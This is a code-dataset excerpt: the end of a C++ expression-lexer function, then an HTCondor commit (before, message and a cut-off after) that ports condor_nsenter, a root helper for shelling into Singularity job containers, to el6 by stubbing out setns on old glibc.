[]strVal;\n\t}\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ This function reads input from a string, returns a token;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid Scanner(char*& s, Token& t)\n{ \n    char\tstr[MAXVARNAME];\n    char*\ttmp;\t\t\/\/ working variable\n\n    \/\/ skip white space\n    t.length = 0;\n    while(*s == ' ')\n    {\n        s = s + 1;\n\t\tt.length++;\n    }\n\n    if(!strncmp(s, \"NULL\", 4) && !isalpha(*(s+4)) && *(s+4) != '_')\n    \/\/ NULL\n    {\n        s = s + 4;\n\t\tt.length = t.length + 4;\n        t.type = LX_NULL;\n\t\treturn;\n    }\n    if(!strncmp(s, \"TRUE\", 4) && !isalpha(*(s+4)) && *(s+4) != '_')\n    \/\/ TRUE\n    {\n        s = s + 4;\n\t\tt.length = t.length + 4;\n        t.intVal = 1;\n        t.type = LX_BOOL;\n\t\treturn;\n    }\n    if(!strncmp(s, \"FALSE\", 5) && !isalpha(*(s+5)) && *(s+5) != '_')\n    \/\/ FALSE\n    {\n        s = s + 5;\n\t\tt.length = t.length + 5;\n        t.intVal = 0;\n        t.type = LX_BOOL;\n\t\treturn;\n    }\n    if(isalpha(*s) || *s == '_')\n    \/\/ token is a variable\n    {\n        tmp = str;\n        \/\/ prefix, if any.\n\t\tif(!strncmp(s, \"MY.\", 3) && (isalpha(*(s+3)) || *(s+3) == '_'))\n\t\t{\n\t\t\tfor(int i=0; i<3; i++)\n\t\t\t{\n\t\t\t\t*tmp = *s;\n\t\t\t\ts++;\n\t\t\t\ttmp++;\n\t\t\t\tt.length++;\n\t\t\t}\n\t\t}\n\t\telse if(!strncmp(s, \"TARGET.\", 7) && (isalpha(*(s+7)) || *(s+7) == '_'))\n\t\t{\n\t\t\tfor(int i=0; i<7; i++)\n\t\t\t{\n\t\t\t\t*tmp = *s;\n\t\t\t\ts++;\n\t\t\t\ttmp++;\n\t\t\t\tt.length++;\n\t\t\t}\n\t\t}\n\t\t\/\/ the rest of the variable.\n        while(isalnum(*s) || *s == '_')\n\t\t{ \n\t\t\t*tmp = *s;\n\t\t\ts++;\n            tmp++;\n\t\t\tt.length++;\n        }\n        *tmp = '\\0';\n        t.strVal = new char[strlen(str) + 1];\n\t\tstrcpy(t.strVal, str);\n        t.type = LX_VARIABLE;\n\t\tt.isString = TRUE;\n\t\treturn;\n    }\n    if(isdigit(*s))\n    \/\/ token is an integer or a floating point number\n    {\n\t\t\/\/ count the length of the number\n        tmp = s;\n        while(isdigit(*tmp))\n\t\t{\n\t\t\ttmp++;\n\t\t\tt.length++;\n\t\t}\n        if(*tmp == '.')\n        \/\/ token is a floating point number\n        {\n\t\t\tt.length++;\n\t\t\tfor(tmp++; isdigit(*tmp); tmp++) t.length++;\n            t.floatVal = strtod(s, &s);\n            t.type = LX_FLOAT; \n        }\n\t\telse\n\t\t\/\/ token is an integer number\n\t\t{\n            t.intVal = strtol(s, &s, 10);\n            t.type = LX_INTEGER; \n        }\n\t\treturn;\n    }\n    if(*s == '\"' || (*s == '\\\\' && *(s+1) == '\"'))\n    \/\/ token is a string\n    {\n        s++;\n\t\ttmp = str;\n\t\tt.length++;\n        while(*s != '\"' && *s != '\\0')\n\t\t{\n\t\t\t*tmp = *s;\n\t\t\ts++;\n            tmp++;\n\t\t\tt.length++;\n        }\n        if(*s == '\\0')\n\t\t{\n\t\t\t t.type = LX_ERROR;\n\t\t\t t.length = 0;\n\t\t\t return;\n\t\t}\n        s++;\n\t\tt.length++;\n        *tmp = '\\0';\n\t\tt.strVal = new char[strlen(str) + 1];\n\t\tstrcpy(t.strVal, str);\n        t.type = LX_STRING; \n\t\tt.isString = TRUE;\n\t\treturn;\n    }\n\n    \/\/ token is an operator or a unit\n\tswitch(*s)\n\t{\n\t\tcase '(': t.type = LX_LPAREN;\n\t\t\t   s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   break; \n\n\t\tcase ')': t.type = LX_RPAREN;\n\t\t\t   s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   break; \n\n\t\tcase '+': t.type = LX_ADD;\n\t\t\t   s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   break;\n\n\t\tcase '-': t.type = LX_SUB;\n\t\t\t   s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   break;\n\n\t\tcase '*': t.type = LX_MULT;\n\t\t\t   s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   break;\n\n\t\tcase '\/': t.type = LX_DIV;\n\t\t\t   s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   break;\n\n\t\tcase '<': s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   if(*s == '=')\n\t\t\t   {\n\t\t\t\t   s = s + 1;\n\t\t\t\t   t.length++;\n\t\t\t\t   t.type = LX_LE;\n\t\t\t   }\n\t\t\t   else\n\t\t\t   {\n\t\t\t\t   t.type = LX_LT; \n\t\t\t   }\n\t\t\t   break; \n\n\t\tcase '>': s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   if(*s == '=')\n\t\t\t   {\n\t\t\t\t   s = s + 1;\n\t\t\t\t   t.length++;\n\t\t\t\t   t.type = LX_GE; \n\t\t\t   }\n\t\t\t   else \n\t\t\t   {\n\t\t\t\t   t.type = LX_GT; \n\t\t\t   }\n\t\t\t   break; \n\n\t\tcase '&': s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   if(*s == '&')\n\t\t\t   {\n\t\t\t\t   t.type = LX_AND;\n\t\t\t\t   s = s + 1;\n\t\t\t\t   t.length++;\n\t\t\t   }\n\t\t\t   else\n\t\t\t   {\n\t\t\t\t   t.type = LX_ERROR;\n\t\t\t   }\n\t\t\t   break;\n\n\t\tcase '|': s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   if(*s == '|')\n\t\t\t   {\n\t\t\t\t\tt.type = LX_OR;\n\t\t\t\t\ts = s + 1;\n\t\t\t   }\n\t\t\t   else\n\t\t\t   {\n\t\t\t\t   t.type = LX_ERROR;\n\t\t\t   }\n\t\t\t   break;\n\n\t\tcase '\\0':\n\t\tcase '\\n': t.type = LX_EOF;\n\t\t\t\tbreak;\n\n\t\tcase '!': s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   if(*s == '=')\n\t\t\t   {\n\t\t\t\t   t.type = LX_NEQ;\n\t\t\t\t   s = s + 1;\n\t\t\t\t   t.length++;\n\t\t\t   }\n\t\t\t   else\n\t\t\t   {\n\t\t\t\t   t.type = LX_ERROR;\n\t\t\t   }\n\t\t\t   break;\n\n\t\tcase '=': s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   if(*s == '=')\n\t\t\t   {\n\t\t\t\t   t.type = LX_EQ;\n\t\t\t\t   s = s + 1;\n\t\t\t\t   t.length++;\n\t\t\t   }\n\t\t\t   else\n\t\t\t   {\n\t\t\t\t   t.type = LX_ASSIGN;\n\t\t\t   }\n\t\t\t   break;\n\n\t\tcase '$': t.type = LX_MACRO;\n\t\t\t   s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   break;\n\n\t\tdefault:\tt.type = LX_ERROR;\n\t\t\t\t\tbreak;\n\t} \n}\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************\n *\n * Copyright (C) 1990-2020, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License.  You may\n * obtain a copy of the License at\n * \n *    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n#include \"condor_common.h\"\n#include \"condor_config.h\"\n#include \"match_prefix.h\"\n#include <termios.h>\n#include <unistd.h>\n#include <grp.h>\n#include <signal.h>\n#include <algorithm>\n\n\/\/ condor_nsenter\n\/\/ \n\/\/ This is a replacement for the linux nsenter command to launch a\n\/\/ shell inside a container.  We need this when running \n\/\/ condor_ssh_to_job to a job that has been launched inside singularity\n\/\/ Docker jobs use docker exec to enter the container, but there is no\n\/\/ equivalent in singularity.  Standard nsenter isn't sufficient, as it\n\/\/ does not create a pty for the shell, and we need different command\n\/\/ line arguments to enter a non-setuid singularity container.  This\n\/\/ is harder because the starter can't tell if singularity is setuid easily.\n\/\/\n\/\/ The architecture for ssh-to-job to a contained job is to land in an sshd\n\/\/ the starter forks *outside* the container.  This is important because we\n\/\/ never want to assume anything about the container, even that there is an sshd\n\/\/ inside it.  After the sshd starts, a script runs which runs condor_docker_enter\n\/\/ (even for singularity), which connects to a Unix Domain Socket, passes \n\/\/ stdin\/out\/err to the starter, which passes those to condor_nsenter, which \n\/\/ is runs as root.  Rootly privilege is required to enter a setuid namespace\n\/\/ so this is how we acquire.\n\/\/\n\/\/ condor_nsenter enters the namespace, taking care to try to enter the user\n\/\/ namespace, which is only set up for non-setuid singularity, and drops\n\/\/ privileges to the uid and gid passed on the command line.  It sets up\n\/\/ a pty for the shell to use, so all interactive processses will work.\n\/\/\n\/\/ A final problem is environment variables.  Singularity, especially when\n\/\/ managing GPUs, sets some nvidia-related environment variables that the\n\/\/ condor starter doesn't know about.  So, condor_nsenter extracts the environment\n\/\/ variables from the contained job process, and sets them in the shell\n\/\/ it spawns.\n\nvoid\nusage( char *cmd )\n{\n\tfprintf(stderr,\"Usage: %s [options] condor_* ....\\n\",cmd);\n\tfprintf(stderr,\"Where options are:\\n\");\n\tfprintf(stderr,\"-t target_pid:\\n\");\n\tfprintf(stderr,\"-S user_id:\\n\");\n\tfprintf(stderr,\"-G group_id:\\n\");\n\tfprintf(stderr,\"    -help              Display options\\n\");\n}\n\n\n\/\/ Before we exit, we need to reset the pty back to normal\n\/\/ if we put it in raw mode\n\nbool pty_is_raw = false;\nstruct termios old_tio;\nvoid reset_pty_and_exit(int signo) {\n\tif (pty_is_raw)\n\t\ttcsetattr(0, TCSAFLUSH, &old_tio);\n\texit(signo);\n}\n\nint main( int argc, char *argv[] )\n{\n\tstd::string condor_prefix;\n\tpid_t pid = 0;\n\tuid_t uid = 0;\n\tgid_t gid = 0;\n\n\t\/\/ parse command line args\n\tfor( int i=1; i<argc; i++ ) {\n\t\tif(is_arg_prefix(argv[i],\"-help\")) {\n\t\t\tusage(argv[0]);\n\t\t\texit(1);\n\t\t}\n\n\t\t\/\/ target pid to enter\n\t\tif(is_arg_prefix(argv[i],\"-t\")) {\n\t\t\tpid = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\n\t\t\/\/ uid to switch to\n\t\tif(is_arg_prefix(argv[i],\"-S\")) {\n\t\t\tuid = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\n\t\t\/\/ gid to switch to\n\t\tif(is_arg_prefix(argv[i],\"-G\")) {\n\t\t\tgid = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t}\n\n\tif (pid < 1) {\n\t\tfprintf(stderr, \"missing -t argument > 1\\n\");\n\t\texit(1);\n\t}\t\n\n\tif (uid == 0) {\n\t\tfprintf(stderr, \"missing -S argument > 1\\n\");\n\t\texit(1);\n\t}\n\n\tif (gid == 0) {\n\t\tfprintf(stderr, \"missing -G argument > 1\\n\");\n\t\texit(1);\n\t}\n\n\t\/\/ slurp the enviroment out of our victim\n\tstd::string env;\n\tstd::string envfile;\n\tformatstr(envfile, \"\/proc\/%d\/environ\", pid);\n\t\n\tint e = open(envfile.c_str(), O_RDONLY);\n\tif (e < 0) {\n\t\tfprintf(stderr, \"Can't open %s %s\\n\", envfile.c_str(), strerror(errno));\n\t\texit(1);\n\t}\n\tchar buf[512];\n\tint bytesRead;\n\twhile ((bytesRead = read(e, &buf, 512)) > 0) {\n\t\tenv.append(buf, bytesRead);\n\t}\n\tclose(e);\n\t\n\t\/\/ make a vector to hold all the pointers to env entries\n\tstd::vector<const char *> envp;\n\n\t\/\/ the first one\n\tenvp.push_back(env.c_str());\n\tauto it = env.cbegin();\n\twhile (env.cend() != (it = std::find(it, env.cend(), '\\0'))) {\n\t\t\/\/ skip past null terminator\n\t\tit++;\t\n\t\tif (& (*it)  != nullptr) {\n\t\t\tenvp.push_back(& (*it));\n\t\t}\n\t}\n\tenvp.push_back(nullptr);\n\tenvp.push_back(nullptr);\n\n\t\/\/ grab the fd for the cwd -- need to get this outside\n\t\/\/ but chdir inside the container\n\tstd::string cwdPath;\n\tformatstr(cwdPath, \"\/proc\/%d\/cwd\", pid);\n\tint rootFd = open(cwdPath.c_str(), O_RDONLY);\n\tif (rootFd < 0) {\n\t\tfprintf(stderr, \"Can't open %s\\n\", cwdPath.c_str());\n\t}\n\n\n\tstd::string filename;\n\n\t\/\/ start changing namespaces.  Note that once we do this, things\n\t\/\/ get funny in this process\n\tformatstr(filename, \"\/proc\/%d\/ns\/uts\", pid);\n\tint fd = open(filename.c_str(), O_RDONLY);\n\tif (fd < 0) {\n\t\tfprintf(stderr, \"Can't open uts namespace: %d %s\\n\", errno, strerror(errno));\n\t\texit(1);\n\t}\n\tint r = setns(fd, 0);\n\tclose(fd);\n\tif (r < 0) {\n\t\t\/\/ This means an unprivileged singularity, most likely\n\t\t\/\/ need to set user namespace instead.\n\t\tformatstr(filename, \"\/proc\/%d\/ns\/user\", pid);\n\t\tfd = open(filename.c_str(), O_RDONLY);\n\t\tif (fd < 0) {\n\t\t\tfprintf(stderr, \"Can't open user namespace: %d %s\\n\", errno, strerror(errno));\n\t\t\texit(1);\n\t\t}\n\t\tr = setns(fd, 0);\n\t\tclose(fd);\n\t\tif (r < 0) {\n\t\t\tfprintf(stderr, \"Can't setns to user namespace: %s\\n\", strerror(errno));\n\t\t\texit(1);\n\t\t}\n\t}\n\n\t\/\/ now the pid namespace\n\tformatstr(filename, \"\/proc\/%d\/ns\/pid\", pid);\n\tfd = open(filename.c_str(), O_RDONLY);\n\tif (fd < 0) {\n\t\tfprintf(stderr, \"Can't open pid namespace: %s\\n\", strerror(errno));\n\t\texit(1);\n\t}\n\tr = setns(fd, 0);\n\tclose(fd);\n\tif (r < 0) {\n\t\tfprintf(stderr, \"Can't setns to pid namespace: %s\\n\", strerror(errno));\n\t\texit(1);\n\t}\n\n\t\/\/ finally the mnt namespace\n\tformatstr(filename, \"\/proc\/%d\/ns\/mnt\", pid);\n\tfd = open(filename.c_str(), O_RDONLY);\n\tif (fd < 0) {\n\t\tfprintf(stderr, \"Can't open mnt namespace: %s\\n\", strerror(errno));\n\t\texit(1);\n\t}\n\tr = setns(fd, 0);\n\tclose(fd);\n\tif (r < 0) {\n\t\tfprintf(stderr, \"Can't setns to mnt namespace: %s\\n\", strerror(errno));\n\t\texit(1);\n\t}\n\n\tsetgroups(0, nullptr);\n\n\t\/\/ order matters!\n\tr = setgid(gid);\n\tif (r < 0) {\n\t\tfprintf(stderr, \"Can't setgid to %d\\n\", gid);\n\t\texit(1);\n\t}\n\tr = setuid(uid);\n\tif (r < 0) {\n\t\tfprintf(stderr, \"Can't setuid to %d\\n\", uid);\n\t\texit(1);\n\t}\n\n\t\/\/ now the pty handling\n\tint masterPty = -1;\n\tint workerPty = -1;\n\tmasterPty = open(\"\/dev\/ptmx\", O_RDWR);\n\tunlockpt(masterPty);\n\n\tif (masterPty < 0) {\n\t\tfprintf(stderr, \"Can't open master pty %s\\n\", strerror(errno));\n\t\texit(1);\n\t} else {\n\t\tworkerPty = open(ptsname(masterPty), O_RDWR);\n\t\tif (workerPty < 0) {\n\t\t\tfprintf(stderr, \"Can't open worker pty %s\\n\", strerror(errno));\n\t\t\texit(1);\n\t\t}\n\t}\n\tint childpid = fork();\n\tif (childpid == 0) {\n\t\n\t\t\/\/ in the child -- \n\n\t\tclose(0);\n\t\tclose(1);\n\t\tclose(2);\n\t\tclose(masterPty);\n\n\t\tdup2(workerPty, 0);\n\t\tdup2(workerPty, 1);\n\t\tdup2(workerPty, 2);\n\n\t\t\/\/ chdir to existing cwd\n\t\tint ret = fchdir(rootFd);\n\t\tif (ret < 0) {\n\t\t\tfprintf(stderr, \"Can't open %s\\n\", cwdPath.c_str());\n\t\t}\n\t\tclose(rootFd);\n\n\t\t\/\/ make this process group leader so shell job control works\n\t\tsetsid();\n\n\t\texecle(\"\/bin\/sh\", \"\/bin\/sh\", \"-i\", nullptr, envp.data());\n\n\t\t\/\/ Only get here if exec fails\n\t\tfprintf(stderr, \"exec failed %d\\n\", errno);\n\t\texit(errno);\n\n\t} else {\n\n\t\t\/\/ the parent\n\t\tfd_set readfds, writefds, exceptfds;\n\t\tbool keepGoing = true;\n\n\t\t\/\/ put the pty in raw mode\n\t\tstruct termios tio;\n\t\ttcgetattr(0, &tio);\n\t\tpty_is_raw = true;\n\t\told_tio = tio;\n\t\ttio.c_oflag &= ~(OPOST);\n\t\ttio.c_cflag |= (CS8);\n\t\ttio.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG);\n\t\ttio.c_cc[VMIN] = 1;\n\t\ttio.c_cc[VTIME] = 0;\n\t\ttcsetattr(0, TCSAFLUSH, &tio);\n\t\t\n\t\tstruct sigaction handler;\n\t\tstruct sigaction oldhandler;\n\t\thandler.sa_handler = reset_pty_and_exit;\n\n\t\tsigaction(SIGCHLD, &handler, &oldhandler);\n\n\t\twhile (keepGoing) {\n\t\t\tFD_ZERO(&readfds);\n\t\t\tFD_ZERO(&writefds);\n\t\t\tFD_ZERO(&exceptfds);\n\n\t\t\tFD_SET(0, &readfds);\n\t\t\tFD_SET(masterPty, &readfds);\n\n\t\t\tselect(masterPty + 1, &readfds, &writefds, &exceptfds, nullptr);\n\n\t\t\tif (FD_ISSET(masterPty, &readfds)) {\n\t\t\t\tchar buf;\n\t\t\t\tint r = read(masterPty, &buf, 1);\n\t\t\t\tif (r > 0) {\t\n\t\t\t\t\tint ret = write(1, &buf, 1);\n\t\t\t\t\tif (ret < 0) {\n\t\t\t\t\t\treset_pty_and_exit(0);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tkeepGoing = false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (FD_ISSET(0, &readfds)) {\n\t\t\t\tchar buf;\n\t\t\t\tint r = read(0, &buf, 1);\n\t\t\t\tif (r > 0) {\t\n\t\t\t\t\tint ret = write(masterPty, &buf, 1);\n\t\t\t\t\tif (ret < 0) {\n\t\t\t\t\t\treset_pty_and_exit(0);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tkeepGoing = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tint status;\n\t\twaitpid(childpid, &status, 0);\t\n\t}\n\treturn 0;\n}\n\n<commit_msg>Port nsenter to el6 #7666<commit_after>\/***************************************************************\n *\n * Copyright (C) 1990-2020, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License.  You may\n * obtain a copy of the License at\n * \n *    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n#include \"condor_common.h\"\n#include \"condor_config.h\"\n#include \"match_prefix.h\"\n#include <termios.h>\n#include <unistd.h>\n#include <grp.h>\n#include <signal.h>\n#include <algorithm>\n\n\/\/ condor_nsenter\n\/\/ \n\/\/ This is a replacement for the linux nsenter command to launch a\n\/\/ shell inside a container.  We need this when running \n\/\/ condor_ssh_to_job to a job that has been launched inside singularity\n\/\/ Docker jobs use docker exec to enter the container, but there is no\n\/\/ equivalent in singularity.  Standard nsenter isn't sufficient, as it\n\/\/ does not create a pty for the shell, and we need different command\n\/\/ line arguments to enter a non-setuid singularity container.  This\n\/\/ is harder because the starter can't tell if singularity is setuid easily.\n\/\/\n\/\/ The architecture for ssh-to-job to a contained job is to land in an sshd\n\/\/ the starter forks *outside* the container.  This is important because we\n\/\/ never want to assume anything about the container, even that there is an sshd\n\/\/ inside it.  After the sshd starts, a script runs which runs condor_docker_enter\n\/\/ (even for singularity), which connects to a Unix Domain Socket, passes \n\/\/ stdin\/out\/err to the starter, which passes those to condor_nsenter, which \n\/\/ is runs as root.  Rootly privilege is required to enter a setuid namespace\n\/\/ so this is how we acquire.\n\/\/\n\/\/ condor_nsenter enters the namespace, taking care to try to enter the user\n\/\/ namespace, which is only set up for non-setuid singularity, and drops\n\/\/ privileges to the uid and gid passed on the command line.  It sets up\n\/\/ a pty for the shell to use, so all interactive processses will work.\n\/\/\n\/\/ A final problem is environment variables.  Singularity, especially when\n\/\/ managing GPUs, sets some nvidia-related environment variables that the\n\/\/ condor starter doesn't know about.  So, condor_nsenter extracts the environment\n\/\/ variables from the contained job process, and sets them in the shell\n\/\/ it spawns.\n\nvoid\nusage( char *cmd )\n{\n\tfprintf(stderr,\"Usage: %s [options] condor_* ....\\n\",cmd);\n\tfprintf(stderr,\"Where options are:\\n\");\n\tfprintf(stderr,\"-t target_pid:\\n\");\n\tfprintf(stderr,\"-S user_id:\\n\");\n\tfprintf(stderr,\"-G group_id:\\n\");\n\tfprintf(stderr,\"    -help              Display options\\n\");\n}\n\n#if (__GLIBC__ == 2) && (__GLIBC_MINOR__ < 15)\n\/\/ el6 doesn't have setns.  What are we going to do?  \n\/\/ what can we do?  Just not enter the container\nint setns(int , int) {\n        return 0;\n}\n#endif\n\n\/\/ Before we exit, we need to reset the pty back to normal\n\/\/ if we put it in raw mode\n\nbool pty_is_raw = false;\nstruct termios old_tio;\nvoid reset_pty_and_exit(int signo) {\n\tif (pty_is_raw)\n\t\ttcsetattr(0, TCSAFLUSH, &old_tio);\n\texit(signo);\n}\n\nint main( int argc, char *argv[] )\n{\n\tstd::string condor_prefix;\n\tpid_t pid = 0;\n\tuid_t uid = 0;\n\tgid_t gid = 0;\n\n\t\/\/ parse command line args\n\tfor( int i=1; i<argc; i++ ) {\n\t\tif(is_arg_prefix(argv[i],\"-help\")) {\n\t\t\tusage(argv[0]);\n\t\t\texit(1);\n\t\t}\n\n\t\t\/\/ target pid to enter\n\t\tif(is_arg_prefix(argv[i],\"-t\")) {\n\t\t\tpid = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\n\t\t\/\/ uid to switch to\n\t\tif(is_arg_prefix(argv[i],\"-S\")) {\n\t\t\tuid = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\n\t\t\/\/ gid to switch to\n\t\tif(is_arg_prefix(argv[i],\"-G\")) {\n\t\t\tgid = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t}\n\n\tif (pid < 1) {\n\t\tfprintf(stderr, \"missing -t argument > 1\\n\");\n\t\texit(1);\n\t}\t\n\n\tif (uid == 0) {\n\t\tfprintf(stderr, \"missing -S argument > 1\\n\");\n\t\texit(1);\n\t}\n\n\tif (gid == 0) {\n\t\tfprintf(stderr, \"missing -G argument > 1\\n\");\n\t\texit(1);\n\t}\n\n\t\/\/ slurp the enviroment out of our victim\n\tstd::string env;\n\tstd::string envfile;\n\tformatstr(envfile, \"\/proc\/%d\/environ\", pid);\n\t\n\tint e = open(envfile.c_str(), O_RDONLY);\n\tif (e < 0) {\n\t\tfprintf(stderr, \"Can't open %s %s\\n\", envfile.c_str(), strerror(errno));\n\t\texit(1);\n\t}\n\tchar buf[512];\n\tint bytesRead;\n\twhile ((bytesRead = read(e, &buf, 512)) > 0) {\n\t\tenv.append(buf, bytesRead);\n\t}\n\tclose(e);\n\t\n\t\/\/ make a vector to hold all the pointers to env entries\n\tstd::vector<const char *> envp;\n\n\t\/\/ the first one\n\tenvp.push_back(env.c_str());\n\tauto it = env.begin();\n\twhile (env.end() != (it = std::find(it, env.end(), '\\0'))) {\n\t\t\/\/ skip past null terminator\n\t\tit++;\t\n\t\tif (& (*it)  != 0) {\n\t\t\tenvp.push_back(& (*it));\n\t\t}\n\t}\n\tenvp.push_back(0);\n\tenvp.push_back(0);\n\n\t\/\/ grab the fd for the cwd -- need to get this outside\n\t\/\/ but chdir inside the container\n\tstd::string cwdPath;\n\tformatstr(cwdPath, \"\/proc\/%d\/cwd\", pid);\n\tint rootFd = open(cwdPath.c_str(), O_RDONLY);\n\tif (rootFd < 0) {\n\t\tfprintf(stderr, \"Can't open %s\\n\", cwdPath.c_str());\n\t}\n\n\n\tstd::string filename;\n\n\t\/\/ start changing namespaces.  Note that once we do this, things\n\t\/\/ get funny in this process\n\tformatstr(filename, \"\/proc\/%d\/ns\/uts\", pid);\n\tint fd = open(filename.c_str(), O_RDONLY);\n\tif (fd < 0) {\n\t\tfprintf(stderr, \"Can't open uts namespace: %d %s\\n\", errno, strerror(errno));\n\t\texit(1);\n\t}\n\tint r = setns(fd, 0);\n\tclose(fd);\n\tif (r < 0) {\n\t\t\/\/ This means an unprivileged singularity, most likely\n\t\t\/\/ need to set user namespace instead.\n\t\tformatstr(filename, \"\/proc\/%d\/ns\/user\", pid);\n\t\tfd = open(filename.c_str(), O_RDONLY);\n\t\tif (fd < 0) {\n\t\t\tfprintf(stderr, \"Can't open user namespace: %d %s\\n\", errno, strerror(errno));\n\t\t\texit(1);\n\t\t}\n\t\tr = setns(fd, 0);\n\t\tclose(fd);\n\t\tif (r < 0) {\n\t\t\tfprintf(stderr, \"Can't setns to user namespace: %s\\n\", strerror(errno));\n\t\t\texit(1);\n\t\t}\n\t}\n\n\t\/\/ now the pid namespace\n\tformatstr(filename, \"\/proc\/%d\/ns\/pid\", pid);\n\tfd = open(filename.c_str(), O_RDONLY);\n\tif (fd < 0) {\n\t\tfprintf(stderr, \"Can't open pid namespace: %s\\n\", strerror(errno));\n\t\texit(1);\n\t}\n\tr = setns(fd, 0);\n\tclose(fd);\n\tif (r < 0) {\n\t\tfprintf(stderr, \"Can't setns to pid namespace: %s\\n\", strerror(errno));\n\t\texit(1);\n\t}\n\n\t\/\/ finally the mnt namespace\n\tformatstr(filename, \"\/proc\/%d\/ns\/mnt\", pid);\n\tfd = open(filename.c_str(), O_RDONLY);\n\tif (fd < 0) {\n\t\tfprintf(stderr, \"Can't open mnt namespace: %s\\n\", strerror(errno));\n\t\texit(1);\n\t}\n\tr = setns(fd, 0);\n\tclose(fd);\n\tif (r < 0) {\n\t\tfprintf(stderr, \"Can't setns to mnt namespace: %s\\n\", strerror(errno));\n\t\texit(1);\n\t}\n\n\tsetgroups(0, 0);\n\n\t\/\/ order matters!\n\tr = setgid(gid);\n\tif (r < 0) {\n\t\tfprintf(stderr, \"Can't setgid to %d\\n\", gid);\n\t\texit(1);\n\t}\n\tr = setuid(uid);\n\tif (r < 0) {\n\t\tfprintf(stderr, \"Can't setuid to %d\\n\", uid);\n\t\texit(1);\n\t}\n\n\t\/\/ now the pty handling\n\tint masterPty = -1;\n\tint workerPty = -1;\n\tmasterPty = open(\"\/dev\/ptmx\", O_RDWR);\n\tunlockpt(masterPty);\n\n\tif (masterPty < 0) {\n\t\tfprintf(stderr, \"Can't open master pty %s\\n\", strerror(errno));\n\t\texit(1);\n\t} else {\n\t\tworkerPty = open(ptsname(masterPty), O_RDWR);\n\t\tif (workerPty < 0) {\n\t\t\tfprintf(stderr, \"Can't open worker pty %s\\n\", strerror(errno));\n\t\t\texit(1);\n\t\t}\n\t}\n\tint childpid = fork();\n\tif (childpid == 0) {\n\t\n\t\t\/\/ in the child -- \n\n\t\tclose(0);\n\t\tclose(1);\n\t\tclose(2);\n\t\tclose(masterPty);\n\n\t\tdup2(workerPty, 0);\n\t\tdup2(workerPty, 1);\n\t\tdup2(workerPty, 2);\n\n\t\t\/\/ chdir to existing cwd\n\t\tint ret = fchdir(rootFd);\n\t\tif (ret < 0) {\n\t\t\tfprintf(stderr, \"Can't open %s\\n\", cwdPath.c_str());\n\t\t}\n\t\tclose(rootFd);\n\n\t\t\/\/ make this process group leader so shell job control works\n\t\tsetsid();\n\n\t\texecle(\"\/bin\/sh\", \"\/bin\/sh\", \"-i\", 0, envp.data());\n\n\t\t\/\/ Only get here if exec fails\n\t\tfprintf(stderr, \"exec failed %d\\n\", errno);\n\t\texit(errno);\n\n\t} else {\n\n\t\t\/\/ the parent\n\t\tfd_set readfds, writefds, exceptfds;\n\t\tbool keepGoing = true;\n\n\t\t\/\/ put the pty in raw mode\n\t\tstruct termios tio;\n\t\ttcgetattr(0, &tio);\n\t\tpty_is_raw = true;\n\t\told_tio = tio;\n\t\ttio.c_oflag &= ~(OPOST);\n\t\ttio.c_cflag |= (CS8);\n\t\ttio.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG);\n\t\ttio.c_cc[VMIN] = 1;\n\t\ttio.c_cc[VTIME] = 0;\n\t\ttcsetattr(0, TCSAFLUSH, &tio);\n\t\t\n\t\tstruct sigaction handler;\n\t\tstruct sigaction oldhandler;\n\t\thandler.sa_handler = reset_pty_and_exit;\n\n\t\tsigaction(SIGCHLD, &handler, &oldhandler);\n\n\t\twhile (keepGoing) 